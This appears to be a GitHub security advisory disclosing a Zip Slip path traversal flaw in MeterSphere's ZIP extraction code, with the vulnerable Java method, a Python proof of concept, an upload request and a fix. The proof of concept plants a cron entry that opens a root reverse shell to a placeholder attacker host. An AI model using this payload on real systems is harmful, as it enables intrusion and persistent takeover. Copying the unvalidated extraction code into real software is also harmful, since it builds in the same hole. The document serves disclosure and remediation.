Skip to content

MeterSphere 3.6.7-lts - Zip Slip Vulnerability (Path Traversal) #13

@cyl-love

Description

@cyl-love

Product

MeterSphere

Vendor

FIT2CLOUD

Vendor Website

https://metersphere.io

GitHub Repository

https://github.com/metersphere/metersphere

Affected Version

3.6.7-lts

Vulnerability Type

Path Traversal (CWE-22)

CVSS Score

7.5 (High)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Description

A Zip Slip vulnerability exists in the MsFileUtils.unZipFile() method. The entry.getName() from the ZIP file is directly used to construct the output file path without any validation. This allows attackers to write files to arbitrary locations outside the intended directory by using path traversal sequences (e.g., ../) in the ZIP entry names.

Vulnerable Code

File: backend/framework/sdk/src/main/java/io/metersphere/sdk/util/MsFileUtils.java
Lines: 98-118

public static File[] unZipFile(File file, String targetPath) {
    InputStream input = null;
    OutputStream output = null;
    try (ZipInputStream zipInput = new ZipInputStream(new FileInputStream(file));
         ZipFile zipFile = new ZipFile(file)) {
        ZipEntry entry = null;
        while ((entry = zipInput.getNextEntry()) != null) {
            File outFile = new File(targetPath + File.separator + entry.getName());  // VULNERABLE!
            if (!outFile.getParentFile().exists()) {
                outFile.getParentFile().mkdir();
            }
            if (!outFile.exists()) {
                outFile.createNewFile();
            }
            input = zipFile.getInputStream(entry);
            output = new FileOutputStream(outFile);
            int temp = 0;
            while ((temp = input.read()) != -1) {
                output.write(temp);
            }
        }
        // ...
    }
}

Proof of Concept

Step 1: Create malicious ZIP file

#!/usr/bin/env python3
import zipfile
import io

# Create a malicious ZIP file with path traversal
malicious_zip = io.BytesIO()
with zipfile.ZipFile(malicious_zip, 'w') as zf:
    # Write file outside target directory
    zf.writestr('../../../tmp/pwned.txt', 'This file was written outside the target directory!')
    zf.writestr('../../../../etc/cron.d/backdoor', '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')

# Save the malicious ZIP
with open('malicious.zip', 'wb') as f:
    f.write(malicious_zip.getvalue())

print("Malicious ZIP created: malicious.zip")

Step 2: Upload the malicious ZIP file

POST /project/file/upload HTTP/1.1
Host: target.com
Cookie: session=valid_session
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="project.zip"
Content-Type: application/zip

[malicious ZIP content]
------WebKitFormBoundary--

Step 3: Trigger the unzip operation

The malicious files will be written to arbitrary locations when the ZIP is extracted.

Impact

  • Arbitrary file write
  • Potential remote code execution (if writing to cron.d, .ssh, etc.)
  • Configuration file overwrite
  • Data corruption
  • Denial of service

Attack Scenarios

  1. RCE via Cron: Write to /etc/cron.d/ to execute arbitrary commands
  2. RCE via SSH: Write to ~/.ssh/authorized_keys for persistent access
  3. Configuration Overwrite: Overwrite application configuration files
  4. Webshell Upload: Write JSP/PHP webshell to web application directory

Remediation

public static File[] unZipFile(File file, String targetPath) {
    InputStream input = null;
    OutputStream output = null;
    try (ZipInputStream zipInput = new ZipInputStream(new FileInputStream(file));
         ZipFile zipFile = new ZipFile(file)) {
        ZipEntry entry = null;
        while ((entry = zipInput.getNextEntry()) != null) {
            File outFile = new File(targetPath, entry.getName());
            
            // Validate that the output file is within target directory
            String canonicalTargetPath = new File(targetPath).getCanonicalPath();
            String canonicalOutputPath = outFile.getCanonicalPath();
            
            if (!canonicalOutputPath.startsWith(canonicalTargetPath + File.separator)) {
                throw new IOException("Entry is outside of the target directory: " + entry.getName());
            }
            
            // Additional check for directory traversal
            if (entry.getName().contains("..")) {
                throw new IOException("Invalid entry name: " + entry.getName());
            }
            
            if (!outFile.getParentFile().exists()) {
                outFile.getParentFile().mkdirs();
            }
            if (!outFile.exists()) {
                outFile.createNewFile();
            }
            input = zipFile.getInputStream(entry);
            output = new FileOutputStream(outFile);
            int temp = 0;
            while ((temp = input.read()) != -1) {
                output.write(temp);
            }
        }
        // ...
    }
}

References

Credit

Security Researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions